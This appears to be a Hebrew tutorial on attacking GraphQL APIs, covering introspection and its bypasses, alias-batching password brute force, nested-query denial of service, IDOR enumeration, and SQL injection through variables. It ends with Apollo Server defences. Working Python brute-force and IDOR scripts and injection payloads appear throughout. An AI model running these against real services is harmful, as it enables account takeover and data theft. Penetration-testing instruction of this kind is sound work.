לדלג לתוכן

תקיפת GraphQL

מבוא

GraphQL היא שפת שאילתות ל-API שפותחה על ידי Facebook. בניגוד ל-REST, היא מאפשרת ללקוח לבקש בדיוק את הנתונים שהוא צריך. אבל הגמישות הזו יוצרת משטח תקיפה רחב - מחשיפת הסכמה המלאה ועד למתקפות מניעת שירות.

ברמה הבסיסית, GraphQL תומכת בשלושה סוגי פעולות:
- שאילתות - Query - קריאת נתונים
- מוטציות - Mutation - שינוי נתונים
- מנויים - Subscription - עדכונים בזמן אמת


מבנה בסיסי של GraphQL

# שאילתה בסיסית
query {
    user(id: 1) {
        username
        email
        role
    }
}

# מוטציה
mutation {
    updateUser(id: 1, role: "admin") {
        username
        role
    }
}

# עם משתנים
query GetUser($id: Int!) {
    user(id: $id) {
        username
        email
    }
}

מתקפת Introspection - חשיפת הסכמה

Introspection היא תכונה מובנית ב-GraphQL שמאפשרת לשאול את השרת על הסכמה שלו. זו נקודת ההתחלה של כל תקיפה.

שאילתת Introspection מלאה

query IntrospectionQuery {
    __schema {
        queryType { name }
        mutationType { name }
        types {
            name
            kind
            fields {
                name
                type {
                    name
                    kind
                    ofType {
                        name
                        kind
                    }
                }
                args {
                    name
                    type {
                        name
                        kind
                    }
                }
            }
        }
    }
}

שליחה כבקשת HTTP

POST /graphql HTTP/1.1
Content-Type: application/json

{
    "query": "{ __schema { queryType { name } mutationType { name } types { name kind fields { name type { name kind ofType { name kind } } args { name type { name kind } } } } } }"
}

חשיפת סוג ספציפי

# רשימת כל השדות של סוג מסוים
{
    __type(name: "User") {
        name
        fields {
            name
            type {
                name
                kind
            }
        }
    }
}

עקיפת Introspection חסומה

הרבה אפליקציות חוסמות introspection בסביבת Production. יש מספר דרכים לעקוף:

שיטה 1 - וריאציות של שאילתת __schema

# שימוש ב-newline לפני __schema
{
    __schema
    {queryType{name}}
}

# שימוש ב-fragment
fragment FullType on __Type {
    name
    kind
    fields {
        name
    }
}

{
    __schema {
        types {
            ...FullType
        }
    }
}

שיטה 2 - הצעות שדות - Field Suggestions

כאשר שולחים שאילתה עם שם שדה שגוי, חלק מהשרתים מחזירים הצעות:

# שליחת שאילתה עם שדה לא קיים
{
    user {
        passwrd    # שגיאת כתיב מכוונת
    }
}

# התגובה עשויה להכיל:
# "Did you mean 'password'?"

שיטה 3 - שאילתות חלקיות

# במקום __schema מלא, לשאול על סוגים ספציפיים
{ __type(name: "Query") { fields { name } } }
{ __type(name: "Mutation") { fields { name } } }
{ __type(name: "User") { fields { name } } }
{ __type(name: "Admin") { fields { name } } }

שיטה 4 - GET במקום POST

GET /graphql?query={__schema{types{name}}}

חלק מהשרתים חוסמים introspection רק בבקשות POST.


מתקפת Batching - שליחת בקשות מרובות

GraphQL מאפשר שליחת מספר שאילתות בבקשה אחת. זה מאפשר מתקפות brute force שעוקפות הגבלת קצב:

Brute Force עם Aliases

# ניסיון 100 סיסמאות בבקשה אחת
query {
    login0: login(username: "admin", password: "password1") { token }
    login1: login(username: "admin", password: "password2") { token }
    login2: login(username: "admin", password: "password3") { token }
    login3: login(username: "admin", password: "123456") { token }
    login4: login(username: "admin", password: "admin123") { token }
    # ... עוד 95 ניסיונות
}

סקריפט אוטומטי ל-Batching

import requests

url = "http://target.com/graphql"
passwords = open("passwords.txt").read().splitlines()

# בניית שאילתה עם aliases
queries = []
for i, pwd in enumerate(passwords):
    queries.append(f'  attempt{i}: login(username: "admin", password: "{pwd}") {{ token success }}')

batch_query = "query {\n" + "\n".join(queries) + "\n}"

response = requests.post(url, json={"query": batch_query})
data = response.json()["data"]

for key, value in data.items():
    if value and value.get("success"):
        print(f"[+] Password found: {passwords[int(key.replace('attempt', ''))]}")
        break

Batching עם מערך

[
    {"query": "mutation { login(u: \"admin\", p: \"pass1\") { token } }"},
    {"query": "mutation { login(u: \"admin\", p: \"pass2\") { token } }"},
    {"query": "mutation { login(u: \"admin\", p: \"pass3\") { token } }"}
]

מתקפת עומק - Nested Query DoS

GraphQL מאפשר שאילתות מקוננות שיכולות לגרום לעומס כבד על השרת:

# שאילתה מקוננת שגורמת ל-DoS
query {
    users {
        friends {
            friends {
                friends {
                    friends {
                        friends {
                            friends {
                                username
                            }
                        }
                    }
                }
            }
        }
    }
}

כל רמת קינון מגדילה את כמות העבודה באופן אקספוננציאלי.


עקיפת הרשאות - Authorization Bypass

גישה לשדות לא מורשים

# שאילתה רגילה - מחזירה רק שדות מורשים
query {
    me {
        username
        email
    }
}

# ניסיון לגשת לשדות ניהוליים
query {
    me {
        username
        email
        role
        isAdmin
        passwordHash
        creditCard
        ssn
    }
}

גישה למוטציות לא מורשות

# מוטציה להעלאת הרשאות
mutation {
    updateUser(id: 1, role: "admin") {
        username
        role
    }
}

# מחיקת משתמשים
mutation {
    deleteUser(id: 2) {
        success
    }
}

IDOR ב-GraphQL

GraphQL משתמש ב-ID ישירות בשאילתות, מה שמקל על IDOR:

# גישה לפרופיל שלי
query {
    user(id: 1) {
        username
        email
        orders {
            id
            total
        }
    }
}

# שינוי ה-ID לגישה לנתונים של משתמש אחר
query {
    user(id: 2) {
        username
        email
        orders {
            id
            total
        }
    }
}

סריקת IDORs אוטומטית

import requests

url = "http://target.com/graphql"
headers = {"Authorization": "Bearer USER_TOKEN"}

for user_id in range(1, 100):
    query = f"""
    query {{
        user(id: {user_id}) {{
            username
            email
            role
        }}
    }}
    """

    response = requests.post(url, json={"query": query}, headers=headers)
    data = response.json()

    if "errors" not in data:
        user = data["data"]["user"]
        if user:
            print(f"[+] User {user_id}: {user['username']} - {user['email']} - {user['role']}")

הזרקה דרך משתנים - Variable Injection

# שאילתה עם משתנים
query SearchUsers($filter: String!) {
    users(search: $filter) {
        username
        email
    }
}

# אם ה-filter מוכנס ישירות ל-SQL/NoSQL בצד השרת
# Variables:
{
    "filter": "admin' OR '1'='1"
}

הזרקת SQL דרך GraphQL

# אם ה-resolver בונה שאילתת SQL
mutation {
    createUser(
        username: "admin' -- ",
        password: "anything"
    ) {
        id
    }
}

ניצול Aliases לחילוץ מידע

# חילוץ מספר רשומות במכה אחת
query {
    user1: user(id: 1) { username email role }
    user2: user(id: 2) { username email role }
    user3: user(id: 3) { username email role }
    user4: user(id: 4) { username email role }
    user5: user(id: 5) { username email role }
}

כלים לתקיפת GraphQL

InQL - הרחבה ל-Burp Suite

# התקנה דרך BApp Store ב-Burp Suite
# מבצע introspection אוטומטי ומייצר שאילתות לכל endpoint

graphql-cop - סורק חולשות

# התקנה
pip install graphql-cop

# סריקה
python graphql-cop.py -t http://target.com/graphql

# בודק:
# - Introspection enabled
# - Field suggestions
# - Batching support
# - Depth limit
# - Debug mode

GraphQL Voyager - ויזואליזציה

כלי שמציג את הסכמה באופן ויזואלי, מה שמקל על מציאת קשרים ומשטחי תקיפה.

Clairvoyance - גילוי שדות ללא Introspection

# כלי שמגלה שדות דרך field suggestions
python3 clairvoyance.py -u http://target.com/graphql -w wordlist.txt

הגנה מפני תקיפות GraphQL

1. ניטרול Introspection בסביבת Production

// Apollo Server
const server = new ApolloServer({
    typeDefs,
    resolvers,
    introspection: process.env.NODE_ENV !== 'production'
});

2. הגבלת עומק שאילתות

const depthLimit = require('graphql-depth-limit');

const server = new ApolloServer({
    typeDefs,
    resolvers,
    validationRules: [depthLimit(5)]  // מקסימום 5 רמות קינון
});

3. הגבלת קצב

const costAnalysis = require('graphql-cost-analysis');

const server = new ApolloServer({
    typeDefs,
    resolvers,
    validationRules: [
        costAnalysis({
            maximumCost: 1000,
            defaultCost: 1
        })
    ]
});

4. הרשאות ברמת שדה

const resolvers = {
    User: {
        email: (parent, args, context) => {
            // רק המשתמש עצמו או admin יכולים לראות email
            if (context.user.id === parent.id || context.user.role === 'admin') {
                return parent.email;
            }
            throw new ForbiddenError('Not authorized');
        },
        passwordHash: () => {
            throw new ForbiddenError('This field is restricted');
        }
    }
};

5. ניטרול Batching

// Apollo Server - הגבלת מספר פעולות בבקשה
const server = new ApolloServer({
    typeDefs,
    resolvers,
    allowBatchedHttpRequests: false
});

6. ניטרול Field Suggestions

// Apollo Server v4
const server = new ApolloServer({
    typeDefs,
    resolvers,
    includeStacktraceInErrorResponses: false,
    formatError: (error) => {
        // הסרת הצעות שדות מהודעות שגיאה
        return { message: 'An error occurred' };
    }
});

סיכום

תקיפת GraphQL דורשת הבנה של המבנה הייחודי שלה. נקודות המפתח:

  • Introspection חושפת את כל הסכמה - זו תמיד נקודת ההתחלה
  • Aliases מאפשרים batching שעוקף הגבלות קצב
  • שאילתות מקוננות יכולות לגרום ל-DoS
  • הרשאות חייבות להיות ברמת ה-resolver, לא ברמת הסכמה
  • IDOR קל לניצול כי ה-IDs גלויים בשאילתות
  • כלים כמו InQL ו-graphql-cop מקלים מאוד על התקיפה